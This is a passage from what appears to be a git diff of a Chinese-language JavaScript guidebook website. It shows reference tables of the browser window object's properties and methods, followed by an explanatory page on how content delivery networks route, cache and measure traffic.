                            ❗️open(strUrl, windowName, [strWindowFeatures])根据指定的参数,将一个资源加载到一个新的浏览上下文(如一个窗口)或一个已经存在的浏览上下文中。
                            ❗️postMessage(message, targetOrigin, [transfer])可以安全地实现跨源通信。
                            print()打开打印对话框打印当前文档。
                            ❗️prompt(text, value)显示一个对话框,对话框中包含一条文字信息,用来提示用户输入文字。
                            ❗️resizeBy(xDelta, yDelta)调整窗口大小。
                            ❗️resizeTo(aWidth, aHeight)动态调整窗口的大小。
                            ❗️scroll(x-coord, y-coord)滚动窗口至文档中的特定位置。
                            ❗️scrollBy(X, Y)在窗口中按指定的距离滚动文档。
                            scrollByLines(num)按给定的行数滚动文档。
                            scrollByPages(pages)在当前文档页面按照指定的页数翻页。
                            ❗️scrollTo(x-coord, y-coord)滚动到文档中的某个坐标。
                            stop()此方法用于阻止页面资源加载。

                            全局作用域

                            由于 window 对象同时扮演着 ECMAScript 中 Global 对象的角色,因此所有在全局作用域中声明的变量、函数都会变成 window 对象的属性和方法。

                            抛开全局变量会成为 window 对象的属性不谈,定义全局变量与在 Window 对象上直接定义属性还是有一点差别:全局变量不能通过 delete 操作符删除,而直接在 window 对象上的定义的属性可以。

                            这是因为,通过 var 语句添加的 window 属性有一个名为 [[Configurable]] 的特性,这个特性的值被设置为 false,因此这样定义的属性不可以通过 delete 操作符删除。IE8 及更早版本在遇到 delete 删除 window 属性的语句时,不管该属性最初是如何创建的,都会抛出错误,以示警告。IE9 及更高版本不会抛出错误。

                            尝试访问未声明的变量会抛出错误,但是通过查询 window 对象,可以知道某个可能未声明的变量是否存在。

                            +

                            Window 对象

                            window 对象有一系列的属性,这些属性本身也是对象。

                            Window 对象的属性

                            属性含义
                            applicationCache(只读)返回该 window 中的应用缓存对象的一个引用。
                            caches(只读)返回了与当前上下文紧密相关的 CacheStorage 对象。
                            ❗️closed(只读)指示引用窗口关闭或没有。
                            ❗️consolewindow.console 提供了向浏览器控制台输出日志信息的方法(log、info、warn、error等)。
                            cryptowindow.crypto 只读属性返回与全局对象关联的 Crypto 对象。 此对象允许网页访问某些加密相关服务。
                            customElements返回一个 CustomElementRegistry 对象的引用,可以用于注册一个新的 custom elements,并且可以用于获取之前定义过的自定义元素的信息。
                            ❗️devicePixelRatio此属性返回当前显示设备的物理像素分辨率与 CSS 像素分辨率的比值。
                            document指向当前窗口内的文档节点。
                            ❗️frameElement返回嵌入当前 window 对象的元素(比如 <iframe> 或者 <object> ),如果当前 window 对象已经是顶层窗口,则返回 null。
                            frames返回当前窗口,一个类数组对象,列出了当前窗口的所有直接子窗口。
                            ❗️fullScreen这个属性表明了窗口是否处于全屏模式下。f11全屏切换。
                            ❗️history(只读)用来获取History对象的引用,History对象提供了操作浏览器会话历史(浏览器地址栏中访问的页面,以及当前页面中通过框架加载的页面)的接口。
                            ❗️indexDB(只读)indexedDB 是 window的一个只读属性,它集成了为应用程序提供异步访问索引数据库的功能的机制。
                            ❗️innerHeight(只读)浏览器窗口的视口(viewport)高度(以像素为单位),如果存在滚动条,则包括它。
                            ❗️innerWidth(只读)浏览器视口(viewport)宽度(单位:像素),如果存在滚动条则包括它。
                            isSecureContext(只读)判断上下文是否能够使用安全上下文的特征的只读属性。
                            length(只读)返回当前窗口中包含的框架数量(框架包括 frame 和 iframe 两种元素)。
                            ❗️localStorage只读的 localStorage 允许你访问一个 Document 的远端(origin)对象 Storage。数据存储为跨浏览器会话。
                            ❗️location(只读)返回一个 Location 对象,其中包含有关文档当前位置的信息。
                            locationbar返回一个可以检查 visibility 属性的 locationbar 对象。
                            personalbarpersonalbar 属性本身也是一个对象,用于访问其自身的 visible 属性来确定个人栏是否可见。
                            menubar返回一个可以检测 visibility 属性的 menubar 对象。
                            messageManager返回这个窗口的消息管理器对象。
                            ❗️name获取/设置窗口的名称。
                            ❗️navigator返回一个 Navigator 对象的引用,可以用它来查询一些关于运行当前脚本的应用程序的相关信息。
                            onabort一个处理发送到 Window 中断事件的事件处理。
                            onbeforeprint打印之前的处理函数。
                            onafterprint打印之后的处理函数。
                            ❗️onanimationcancelanimationcancel 是一个事件处理操作,这个事件在 CSS Animation 属性意外中断时派发出来。
                            ❗️onanimationend当 CSS 动画到达其活动期的结束时发送此事件。
                            ❗️onanimationiteration当动画迭代时触发。
                            ❗️onappinstalledWindow 对象的 onappinstalled 属性用于处理 appinstalled 事件处理程序。 PWA 成功安装时被触发一次。
                            onbeforeinstallpromptWindow.onbeforeinstallprompt 属性是一个事件处理程序,用于处理一个beforeinstallprompt,当一个Web清单存在时,它将在移动设备上发送,但是在提示用户将网站保存到主屏幕之前。
                            onbeforeunload当窗口即将被卸载(关闭)时,会触发该事件。此时页面文档依然可见,且该事件的默认动作可以被取消。
                            onclose当在 Window 对象上触发 close 事件时的事件处理器。
                            oncontextmenu获取或设置当前窗口 Contextmenu 事件的事件处理函数。除非默认行为已经阻止了,否则右键菜单会被激活。
                            ondevicelight事件在设备的光传感器检测到周围环境光的强度发生变化时触发。
                            ondevicemotion设配移动时触发。
                            ondeviceorientation设备方向改变时触发。
                            ondeviceorientationabsolute
                            ondeviceproximity接近或远离设备时触发。
                            onerror加载一个全局的 error 事件处理函数可用于自动收集错误报告。
                            ongamepadconnected手柄连接时触发。
                            ongamepaddisconnected手柄断开时触发。
                            ongotpointercapturegotpointercapture 事件类型触发。
                            onlostpointercapturegotpointercapture 事件类型触发。
                            ❗️onhashchange当 一个窗口的哈希改变时就会触发 hashchange 事件(查看 location.hash)
                            onlanguagechange这样的事件在浏览器通知更佳的语言列表已被更新后被触发。
                            onloadstart在 onload 之前触发。
                            ❗️onload当资源已加载时被触发。
                            onloadendonloadend 属性表示当代码被调用时优先级提高,资源的加载事件触发时调用处理函数。
                            onunload当页面关闭后,会触发 unload 事件。
                            onmessageonmessage 属性是当对象接收到 message 事件时被调用。
                            onmessageerror一个 messageerror 事件发送给 window。
                            onpopstateWindow.onpopstate 是 popstate 事件在 Window 对象上的事件处理程序。
                            onrejectionhandledPromise 拒绝时触发。
                            onreset当收到一个 reset 事件时触发。
                            ❗️onresize可以用来获取或设置当前窗口的 resize 事件的事件处理函数。
                            onselectonselect 用来获取或设置当前窗口的 select 事件的事件处理函数。
                            ❗️onstorage当存储域发生改变时会触发事件。
                            ❗️opener如果当前窗口是由另一个窗口打开的,Window.opener 保留了那个窗口的引用. 如果当前窗口不是由其他窗口打开的, 则该属性返回 null。
                            ❗️origin(只读)返回全局范围的 origin,序列化为一个字符串。域的概念。
                            ❗️outerHeight(只读)为窗口的外层的高度(包括导航栏+状态栏等)。
                            ❗️outerWidth是窗口的外层的宽度。
                            ❗️parent返回当前窗口的父窗口对象。如果一个窗口没有父窗口,则它的 parent 属性为自身的引用。
                            performanceWeb Performance API 允许网页访问某些函数来测量网页和 Web 应用程序的性能,包括 Navigation TimingAPI 和高分辨率时间数据。
                            ❗️screen返回当前 window 的 screen 对象。screen 对象实现了 Screen 接口,它是个特殊的对象,返回当前渲染窗口中和屏幕有关的属性。
                            ❗️screenX返回浏览器左边界到操作系统桌面左边界的水平距离。
                            ❗️screenY返回浏览器顶部距离系统桌面顶部的垂直距离。
                            scrollbars返回滚动条对象,可以检查其可见性。
                            scrollMaxX返回水平最大可以 scroll 的长度,单位像素。
                            scrollMaxY返回垂直最大可以 scroll 的长度,单位像素。
                            ❗️scrollX返回文档/页面水平方向滚动的像素值。
                            ❗️scrollY返回文档/页面垂直方向滚动的像素值。
                            ❗️self返回一个指向当前 window 对象的引用。
                            ❗️sessionStoragesessionStorage 属性允许你访问一个 session Storage对象。
                            speechSynthesis返回一个 speechSynthesis 对象。
                            status设置浏览器底部状态栏的文本。
                            statusbar返回一个 statusbar 对象。
                            toolbar返回一个 toolbar 对象。
                            ❗️top返回窗口体系中的最顶层窗口的引用。
                            URLwindow.URL 属性返回一个对象,它提供了用于创建和管理对象URLs的静态方法。
                            visualViewport返回视觉窗口对象。
                            ❗️PushManager提供接收服务器及请求 url 的推送功能的一些方法。PWA 推功能
                            windowwindow 对象的 window 属性指向这个 window 对象本身。

                            Window 对象的方法

                            方法功能
                            ❗️alert(message)浏览自带的警告对话框。
                            btoa(str)从 String 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。
                            atob(code)对用 base-64 编码过的字符串进行解码。
                            blur()将焦点移出顶层窗口。
                            ❗️requestAnimationFrame(callBack)告诉浏览器您希望执行动画并请求浏览器在下一次重绘之前调用指定的函数来更新动画。
                            ❗️cancelAnimationFrame(requestID)取消一个先前通过调用 window.requestAnimationFrame() 方法添加到计划中的动画帧请求。
                            requestIdleCallback(callback[, options])window.requestIdleCallback() 会在浏览器空闲时期依次调用函数, 这就可以让开发者在主事件循环中执行后台或低优先级的任务,而且不会对像动画和用户交互这样延迟触发而且关键的事件产生影响。
                            cancelIdleCallback(handle)window.cancelIdleCallback() 方法用于取消之前调用window.requestIdleCallback() 的回调。
                            setImmediate(func)该方法用来把一些需要长时间运行的操作放在一个回调函数里,在浏览器完成后面的其他语句后,就立刻执行这个回调函数。
                            clearImmediate(immediateID)此方法用来清除 window.setImmediate
                            ❗️setInterval(callBack, delay)重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。
                            ❗️clearInterval(intervalID)取消用 setInterval 设置的重复定时任务。
                            ❗️setTimeout(code[, delay])delay 时间之后执行 code,code 可为 string 或 function。
                            ❗️clearTimeout(timeoutID)清除由 window.setTimeout() 设置的延时定时器。
                            ❗️close()关闭当前窗口。
                            ❗️confirm(message)window.confirm() 方法显示一个具有一个可选消息和两个按钮(确定和取消)的模态对话框 。
                            createImageBitmap(image, sx, sy, sw, sh[, options])接收图片源,并返回 ImageBitmap 的 Promise 对象。
                            ❗️eventIE 专用,表示正在处理的事件对象。
                            ❗️fetch(input[, init])用于发起获取资源的请求。它返回一个 Promise 对象。
                            focus()求将窗口显示在前(靠近屏幕),这可能由于用户设置而失败,并且该窗口在方法返回之前不能保证会显示在最前。
                            getAttention()试图获取用户的注意力。
                            ❗️getComputedStyle(element, [pseudoElt])给出应用活动样式表后的元素的所有 CSS 属性的值,并解析这些值可能包含的任何基本计算。
                            getSelection()返回一个  Selection 对象,表示用户选择的文本范围或光标的当前位置。
                            matchMedia(mediaQueryString)返回一个新的 MediaQueryList 对象,表示指定的媒体查询字符串解析后的结果。
                            minimize()窗口最小化。
                            ❗️moveBy(deltaX, deltaY)根据指定的值,移动当前窗口。
                            ❗️moveTo(x, y)将当前窗口移动到指定的坐标位置。
                            ❗️open(strUrl, windowName, [strWindowFeatures])根据指定的参数,将一个资源加载到一个新的浏览上下文(如一个窗口)或一个已经存在的浏览上下文中。
                            ❗️postMessage(message, targetOrigin, [transfer])可以安全地实现跨源通信。
                            print()打开打印对话框打印当前文档。
                            ❗️prompt(text, value)显示一个对话框,对话框中包含一条文字信息,用来提示用户输入文字。
                            ❗️resizeBy(xDelta, yDelta)调整窗口大小。
                            ❗️resizeTo(aWidth, aHeight)动态调整窗口的大小。
                            ❗️scroll(x-coord, y-coord)滚动窗口至文档中的特定位置。
                            ❗️scrollBy(X, Y)在窗口中按指定的距离滚动文档。
                            scrollByLines(num)按给定的行数滚动文档。
                            scrollByPages(pages)在当前文档页面按照指定的页数翻页。
                            ❗️scrollTo(x-coord, y-coord)滚动到文档中的某个坐标。
                            stop()此方法用于阻止页面资源加载。

                            全局作用域

                            由于 window 对象同时扮演着 ECMAScript 中 Global 对象的角色,因此所有在全局作用域中声明的变量、函数都会变成 window 对象的属性和方法。

                            抛开全局变量会成为 window 对象的属性不谈,定义全局变量与在 Window 对象上直接定义属性还是有一点差别:全局变量不能通过 delete 操作符删除,而直接在 window 对象上的定义的属性可以。

                            这是因为,通过 var 语句添加的 window 属性有一个名为 [[Configurable]] 的特性,这个特性的值被设置为 false,因此这样定义的属性不可以通过 delete 操作符删除。IE8 及更早版本在遇到 delete 删除 window 属性的语句时,不管该属性最初是如何创建的,都会抛出错误,以示警告。IE9 及更高版本不会抛出错误。

                            尝试访问未声明的变量会抛出错误,但是通过查询 window 对象,可以知道某个可能未声明的变量是否存在。

                            - + diff --git a/computer-networks/computer-network-architecture/cdn/index.html b/computer-networks/computer-network-architecture/cdn/index.html index 912bde55f..8a2b1c141 100644 --- a/computer-networks/computer-network-architecture/cdn/index.html +++ b/computer-networks/computer-network-architecture/cdn/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + CDN 内容分发网络 - JavaScript Guidebook -

                            CDN 内容分发网络

                            內容分发网络(Content Delivery Network 或 Content Distribution Network,简称 CDN) 通过将源站内容分发至 最接近用户 的节点,从而 降低核心系统负载(系统、网络),使用户可就近取得所需内容,提高用户访问的响应速度。这种技术方案解决了因分布、带宽、服务器性能带来的访问延迟问题,适用于图片小文件、大文件下载、音视频点播、全站加速和安全加速等场景。

                            工作原理

                            通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN 系统能够实时地根据 网络流量各节点的连接负载状况 以及 到用户的距离响应时间 等综合信息将用户的请求重新导向离用户最近的服务节点上。

                            利用公式简述 CDN 可表示为:

                            CDN = 更智能的镜像 + 缓存 + 流量导流;

                            简单地说,CDN 是一个经策略性部署的整体系统,包括分布式存储负载均衡网络请求的重定向内容管理 4 个要件,而内容管理和全局的网络流量管理(Traffic Management)是 CDN 的核心所在。

                            工作流程

                            用户终端访问 CDN 的过程分为两个步骤,一是用户通过 DNS 找到最近的 CDN 边缘节点 IP,二是数据在网络中送达用户终端。

                            最简单的 CDN 网络由一个 DNS 服务器和几台缓存服务器组成,假设您的加速域名为 www.taobao.com,接入 CDN 网络,开始使用加速服务后,当终端用户(广州)发起 HTTP 请求时,处理流程如下:

                            CDN Workflow
                            1. 当终端用户(广州)向 www.taobao.com 下的某资源发起请求时,首先向 LDNS(本地 DNS)发起域名解析请求。
                            2. LDNS 检查缓存中是否有 www.taobao.com 的 IP 地址记录。如果有,则直接返回给终端用户;如果没有,则向授权 DNS 查询。
                            3. 当授权 DNS 解析 www.taobao.com 时,返回域名 CNAME www.taobao.alicdn.com 对应 IP 地址。
                            4. 域名解析请求发送至 DNS 调度系统,并为请求分配最佳节点 IP 地址。
                            5. LDNS 获取 DNS 返回的解析 IP 地址。
                            6. 用户获取解析 IP 地址。
                            7. 用户向获取的 IP 地址发起对该资源的访问请求。
                              • 如果该 IP 地址对应的节点已缓存该资源,则会将数据直接返回给用户,例如,图中步骤 7 和 8,请求结束。
                              • 如果该 IP 地址对应的节点未缓存该资源,则节点向它的上级缓存服务器请求内容,直至追溯到网站的源站发起对该资源的请求。获取资源后,结合用户自定义配置的缓存策略,将资源缓存至节点,例如,途中的杭州节点,并返回给用户,请求结束。

                            Local DNS 通常是你的运营商提供的 DNS,一般域名解析的第一站会到这里 回源 HOST 是指 CDN 节点在回源过程中,在源站访问的站点域名。

                            在步骤四中,DNS 调度系统可以实现负载均衡功能,负载均衡分为全局负载均衡和区域负载均衡,其内部逻辑大致如下:

                            1. CDN 全局负载均衡设备会根据用户 IP 地址,以及用户请求的内容 URL,选择一台用户所属区域的区域负载均衡设备,告诉用户向这台设备发起请求。
                            2. 区域负载均衡设备会为用户选择一台合适的缓存服务器提供服务,选择的依据包括:
                              • 根据用户 IP 地址,判断哪一台服务器距用户最近;
                              • 用户所处的运营商;
                              • 根据用户所请求的 URL 中携带的内容名称,判断哪一台服务器上有用户所需内容;
                              • 查询各个服务器当前的负载情况,判断哪一台服务器尚有服务能力。 基于以上这些条件的综合分析之后,区域负载均衡设备会向全局负载均衡设备返回一台缓存服务器的 IP 地址。
                            3. 全局负载均衡设备把服务器的 IP 地址返回给用户。

                            组成部分

                            典型的 CDN 系统由下面三个部分组成:

                            • 分发服务系统:最基本的工作单元就是 Cache 设备,Cache(边缘 Cache)负责直接响应最终用户的访问请求,把缓存在本地的内容快速地提供给用户。同时 Cache 还负责与源站点进行内容同步,把更新的内容以及本地没有的内容从源站点获取并保存在本地。Cache 设备的数量、规模、总服务能力是衡量一个 CDN 系统服务能力的最基本的指标。
                            • 负载均衡系统:主要功能是负责对所有发起服务请求的用户进行访问调度,确定提供给用户的最终实际访问地址。两级调度体系分为全局负载均衡(GSLB)和本地负载均衡(SLB)。GSLB 主要根据用户就近性原则,通过对每个服务节点进行”最优“判断,确定向用户提供服务的 Cache 的物理位置。SLB 主要负责节点内部的设备负载均衡
                            • 运营管理系统:分为运营管理和网络管理子系统,负责处理业务层面的与外界系统交互所必须的收集、整理、交付工作,包含客户管理、产品管理、计费管理、统计分析等功能。

                            CDN 通常由源站负责内容生产,主干节点负责二级缓存和加速,通常在 BGP 网络。

                            广义上的内容分发网络可以包含源站一起,甚至多媒体分发(视频)。商业意义上的 CDN 只包含 CDN 提供商的网络,不包含源站。部分 CDN 支持图片及多媒体处理扩展等附加功能:压缩、剪切、水印、鉴黄。

                            CDN 切面

                            CDN 切面

                            CDN 数据流向

                            CDN 数据流向

                            应用场景

                            网站加速

                            站点或者应用中大量静态资源的加速分发,建议将站点内容进行动静分离,动态文件可以结合云服务器 ECS,静态资源如各类型 HTML、CSS、JS、图片、文件、短视频等,建议结合对象存储 OSS 存储海量静态资源,可以有效加速内容加载速度,轻松搞定网站图片、短视频等内容分发。

                            七牛云网站加速

                            建议将 CDN 产品与 OSS 产品结合使用,可以加速资源的加载速度,提高网站图片、短视频等分发效率。

                            业务价值:

                            • 终端用户访问慢:网站小文件内容多打开速度太慢
                            • 跨区域访问质量差:终端用户分布在不同区域,不同区域的访问速度和质量高低不一
                            • 高并发压力大:运营推广期间,源站服务器压力大,容易挂掉,造成服务不可用
                            • 图片格式分辨率处理复杂:无法根据适合的终端情况进行图片压缩和优化

                            超大文件下载

                            大文件下载优化加速分发:网站或应用 App 的主要业务为大文件下载,例如:安装包文件 apk、音频文件 mp3、驱动程序 exe、应用更新文件 zip 等,平均单个文件大小在 20M 以上,如游戏、各类客户端下载和 App 下载商店等。

                            七牛云超大文件下载

                            业务价值:

                            • 终端用户无法下载或者下载太慢。
                            • 网络环境不稳定时,下载容易中断。重新下载会耗费额外的资源。
                            • 网站内容不安全,容易被劫持。
                            • 文件存储成本过高,同时对源站性能要求高。

                            音视频点播

                            音视频点播优化加速服务:网站或应用 App 的主要业务为视频点播或短视频类。支持例如:mp4flvrmvbwmvHLS 等主流视频格式。

                            视音频点播主要适用于各类视音频站点,如影视类视频网站、在线教育类视频网站、新闻类视频站点、短视频社交类网站以及音频类相关站点和应用。

                            CDN 支持流媒体协议,例如 RTMP 协议。在很多情况下,这相当于一个代理,从上一级缓存读取内容,转发给用户。由于流媒体往往是连续的,因而可以进行预先缓存的策略,也可以预先推送到用户的客户端。

                            对于静态页面来讲,内容的分发往往采取 拉取 的方式,也即当发现未命中的时候,再去上一级进行拉取。但是,流媒体数据量大,如果出现回源,压力会比较大,所以往往采取主动推送的模式,将热点数据主动推送到边缘节点。

                            对于流媒体来讲,很多 CDN 还提供 预处理 服务,也即文件在分发之前,经过一定的处理。例如将视频转换为不同的码流,以适应不同的网络带宽的用户需求;再如对视频进行分片,降低存储压力,也使得客户端可以选择使用不同的码率加载不同的分片。这就是我们常见的,超清、标清、流畅等。

                            业务价值:

                            • 终端用户访问视频时打不开视频或容易卡顿,观看不流畅。
                            • 上传、转码、存储、分发、播放的开发配置流程复杂,点播服务技术门槛高。
                            • 视频资源容易被劫持或盗用,版权得不到有效保护。
                            • 终端客户上传的小视频等内容无法被快速审核,导致政策风险。

                            音视频直播

                            视频流媒体直播服务,支持媒资存储、切片转码、访问鉴权、内容分发加速一体化解决方案。结合弹性伸缩服务,及时调整服务器带宽,应对突发访问流量;结合媒体转码服务,享受高速稳定的并行转码,且任务规模无缝扩展。

                            边缘程序

                            传统的 CDN 服务是纯粹的缓存和分发服务,缺乏可以直接提供给您的计算能力。访问 CDN 的海量请求中,复杂的计算逻辑必须回服务器源站执行,这增加了您的服务器消耗以及架构的复杂性。ER 可提供直接在 CDN 边缘节点计算处理的能力,将极大提高 CDN 的可定制化,可编程化,从而大量减少需回源的请求,降低用户的请求延时。同时 CDN 边缘节点拥有天然的高可用、高伸缩、全球负载均衡的特性,边缘的计算服务可应用于更多的使用场景。

                            • Geo:边缘打点服务,可以采集到边缘节点的请求相关信息:如 IP、地理、设备信息等
                            • Fetch:边缘代理服务,在 JS 代码中调用内置 api fetch 做了 http 自请求,响应给客户端 fetch 的最终内容
                            • AB test:AB 测试的功能
                            • Precache/Prefetch:CDN 预热功能,预热任务在响应客户端时将异步完成
                            • Race:回源同拉功能,将回源速度最快的源站的内容优先返回给客户端
                            • Log:边缘日志服务,在响应结束后异步地生成日志并回传给您的 Server
                            • 3xx:回源 302 跟随功能
                            • Redirect:边缘请求重定向功能
                            • Deny bot:边缘反爬虫服务
                            • Waf:边缘 waf 服务,当满足某些条件时,将禁止该请求

                            通常,使用了 CDN 后,您可以根据延时、下载速度、打开速度、丢包率、回源率和缓存命中率判断加速效果。

                            衡量指标

                            使用 CDN 加速,能够帮助您分担源站压力,加速资源访问速度。除了通用的数据观测指标外,不同的场景下也有更具体的指标。观测这些指标,不仅可以帮助您体验 CDN 加速的效果,也能观测自身业务使用 CDN 的情况,帮助您更好地做出调整和决策。

                            通用指标

                            您可以根据以下几个主要性能指标,观察使用 CDN 前后,您的网站情况。这些指标包含但不限于:

                            • 延时:指一个数据包从用户的计算机发送到网站服务器,然后再立即从网站服务器返回用户计算机的来回时间。延时越低,性能越好。
                            • 下载速度:指用户从网络上或者网络服务器上下载的数据时的传输速度。下载速度越快,性能越好。
                            • 打开速度:指用户打开网站的速度。打开速度越快,性能越好。
                            • 丢包率:指用户在网络传输中所丢失数据包数量占所发送数据组的比率。
                            • 回源率:回源率分为回源请求数比例及回源流量比例两种。
                              • 回源请求数比:指边缘节点对于没有缓存、缓存过期(可缓存)和不可缓存的请求占全部请求记录的比例。越低则性能越好。
                              • 回源流量比:回源流量是回源请求文件大小产生的流量和请求本身产生的流量。所以 回源流量比=回源流量/(回源流量+用户请求访问的流量),比值越低,性能越好。
                            • 缓存命中率:指终端用户访问加速节点时,该节点已缓存了要被访问的数据的次数占全部访问次数的比例。缓存命中率越高,性能越好。

                            说明:上文提到的回源率、缓存命中率都是指使用 CDN 后衡量的指标。如果您还没有使用 CDN,那么回源请求数为 100%,缓存命中率为 0。

                            一般情况下,使用 CDN 后,您的网络延时、丢包率和回源率都会降低,与之相对的下载速度、打开速度、缓存命中率则会提高。但是,由于业务场景和业务类型的不同,即使选择了相同配置的 CDN 服务,实际产生的加速效果也不相同。因此,这里只是提供了定性的指标以供观测。

                            CDN 的各类应用场景都各自具有一些具体指标。您可以根据您的业务场景,进一步观测。

                            加速小文件的主要指标

                            小文件,主要指 htmljsjpgcss 等文件后缀的网页素材。这类加速对延迟要求较高,因为通常而言,页面加载时间的加长对用户流失会造成巨大影响。

                            延迟主要包括以下 3 个性能指标:建立连接时间、首包时间、内容下载时间。其中,首包时间是最核心的指标。

                            • 建立连接时间:指 DNS 解析完成,然后找到对应 IP 地址后建立 TCP 连接的过程。建立连接的时间长短,基本可以反映 CDN 服务的节点资源以及调度能力
                            • 首包时间:指从客户端开始发送请求到收到服务器端发来的第一个包之间所需要的时间。这反映了 CDN 服务节点程序的整体性能。

                            在上传路径中,首包时间主要包含了 DNS 解析时间、TCP 用时、SSL 用时、发送时间和响应时间。上传

                            CDN Upload Flow

                            在下载路径中,首包时间主要包含了 DNS 解析时间、TCP 用时、SSL 用时、发送时间、响应时间和下载用时。下载

                            CDN Upload Flow

                            加速大文件下载的主要指标

                            大文件下载,一般指各类单个文件大小大于 20M 的下载。因此对这类场景,最核心的指标就是 下载速度下载总时间

                            加速音视频点播的主要指标

                            视音频点播的场景,主要涵盖 flvmp4wmvmkv 等视音频文件。在这类场景中的主要衡量指标包括首播时间和卡顿率:

                            • 首播时间:首播时间是从打开到看到视频画面的时间。往往会受域名解析、连接、首包时间的影响。
                            • 卡顿率:卡顿指视音频播放、资源加载等场景下出现画面滞帧。因此卡顿率主要指把所有用户播放视频的卡顿时间上报,每 100 个用户里面播放出现卡顿的比例。卡顿率越低,性能越好。

                            CDN 提供商

                            每个 CDN 服务提供商的配置信息不同。

                            动态 CDN

                            动态加速针对动态资源进行加速分发。

                            • 边缘计算的模式:既然数据是动态生成的,所以 数据的逻辑计算和存储,也相应的放在边缘的节点。其中定时从源数据那里同步存储的数据,然后在边缘进行计算得到结果。就像对生鲜的烹饪是动态的,没办法事先做好缓存,因而将生鲜超市放在你家旁边,既能够送货上门,也能够现场烹饪,也是边缘计算的一种体现。
                            • 路径优化的模式:数据不是在边缘计算生成的,而是在源站生成的,但是数据的下发则可以通过 CDN 的网络,对路径进行优化。因为 CDN 节点较多,能够找到离源站很近的边缘节点,也能找到离用户很近的边缘节点。中间的链路完全由 CDN 来规划,选择一个更加可靠的路径,使用类似专线的方式进行访问。

                            对于常用的 TCP 连接,在公网上传输的时候经常会丢数据,导致 TCP 的窗口始终很小,发送速度上不去。根据前面的 TCP 流量控制和拥塞控制的原理,在 CDN 加速网络中可以调整 TCP 的参数,使得 TCP 可以更加激进地传输数据。可以通过多个请求复用一个连接,保证每次动态请求到达时。连接都已经建立了,不必临时三次握手或者建立过多的连接,增加服务器的压力。另外,可以通过对传输数据进行压缩,增加传输效率。所有这些手段就像冷链运输,整个物流优化了,全程冷冻高速运输。不管生鲜是从你旁边的超市送到你家的,还是从产地送的,保证到你家是新鲜的。

                            刷新预热

                            • 刷新功能是指提交 URL 刷新或目录刷新请求后,CDN 节点的缓存内容将会被强制过期,当您向 CDN 节点请求资源时,CDN 会直接回源站获取对应的资源返回给您,并将其缓存。刷新功能会降低缓存命中率。
                            • 预热功能是指提交 URL 预热请求后,源站将会主动将对应的资源缓存到 CDN 节点,当您首次请求时,就能直接从 CDN 节点缓存中获取到最新的请求资源,无需再回源站获取。预热功能会提高缓存命中率。

                            一些关于 CDN 的常见问题:

                            参考资料

                            +

                            CDN 内容分发网络

                            內容分发网络(Content Delivery Network 或 Content Distribution Network,简称 CDN) 通过将源站内容分发至 最接近用户 的节点,从而 降低核心系统负载(系统、网络),使用户可就近取得所需内容,提高用户访问的响应速度。这种技术方案解决了因分布、带宽、服务器性能带来的访问延迟问题,适用于图片小文件、大文件下载、音视频点播、全站加速和安全加速等场景。

                            工作原理

                            通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN 系统能够实时地根据 网络流量各节点的连接负载状况 以及 到用户的距离响应时间 等综合信息将用户的请求重新导向离用户最近的服务节点上。

                            利用公式简述 CDN 可表示为:

                            CDN = 更智能的镜像 + 缓存 + 流量导流;

                            简单地说,CDN 是一个经策略性部署的整体系统,包括分布式存储负载均衡网络请求的重定向内容管理 4 个要件,而内容管理和全局的网络流量管理(Traffic Management)是 CDN 的核心所在。

                            工作流程

                            用户终端访问 CDN 的过程分为两个步骤,一是用户通过 DNS 找到最近的 CDN 边缘节点 IP,二是数据在网络中送达用户终端。

                            最简单的 CDN 网络由一个 DNS 服务器和几台缓存服务器组成,假设您的加速域名为 www.taobao.com,接入 CDN 网络,开始使用加速服务后,当终端用户(广州)发起 HTTP 请求时,处理流程如下:

                            CDN Workflow
                            1. 当终端用户(广州)向 www.taobao.com 下的某资源发起请求时,首先向 LDNS(本地 DNS)发起域名解析请求。
                            2. LDNS 检查缓存中是否有 www.taobao.com 的 IP 地址记录。如果有,则直接返回给终端用户;如果没有,则向授权 DNS 查询。
                            3. 当授权 DNS 解析 www.taobao.com 时,返回域名 CNAME www.taobao.alicdn.com 对应 IP 地址。
                            4. 域名解析请求发送至 DNS 调度系统,并为请求分配最佳节点 IP 地址。
                            5. LDNS 获取 DNS 返回的解析 IP 地址。
                            6. 用户获取解析 IP 地址。
                            7. 用户向获取的 IP 地址发起对该资源的访问请求。
                              • 如果该 IP 地址对应的节点已缓存该资源,则会将数据直接返回给用户,例如,图中步骤 7 和 8,请求结束。
                              • 如果该 IP 地址对应的节点未缓存该资源,则节点向它的上级缓存服务器请求内容,直至追溯到网站的源站发起对该资源的请求。获取资源后,结合用户自定义配置的缓存策略,将资源缓存至节点,例如,途中的杭州节点,并返回给用户,请求结束。

                            Local DNS 通常是你的运营商提供的 DNS,一般域名解析的第一站会到这里 回源 HOST 是指 CDN 节点在回源过程中,在源站访问的站点域名。

                            在步骤四中,DNS 调度系统可以实现负载均衡功能,负载均衡分为全局负载均衡和区域负载均衡,其内部逻辑大致如下:

                            1. CDN 全局负载均衡设备会根据用户 IP 地址,以及用户请求的内容 URL,选择一台用户所属区域的区域负载均衡设备,告诉用户向这台设备发起请求。
                            2. 区域负载均衡设备会为用户选择一台合适的缓存服务器提供服务,选择的依据包括:
                              • 根据用户 IP 地址,判断哪一台服务器距用户最近;
                              • 用户所处的运营商;
                              • 根据用户所请求的 URL 中携带的内容名称,判断哪一台服务器上有用户所需内容;
                              • 查询各个服务器当前的负载情况,判断哪一台服务器尚有服务能力。 基于以上这些条件的综合分析之后,区域负载均衡设备会向全局负载均衡设备返回一台缓存服务器的 IP 地址。
                            3. 全局负载均衡设备把服务器的 IP 地址返回给用户。

                            组成部分

                            典型的 CDN 系统由下面三个部分组成:

                            • 分发服务系统:最基本的工作单元就是 Cache 设备,Cache(边缘 Cache)负责直接响应最终用户的访问请求,把缓存在本地的内容快速地提供给用户。同时 Cache 还负责与源站点进行内容同步,把更新的内容以及本地没有的内容从源站点获取并保存在本地。Cache 设备的数量、规模、总服务能力是衡量一个 CDN 系统服务能力的最基本的指标。
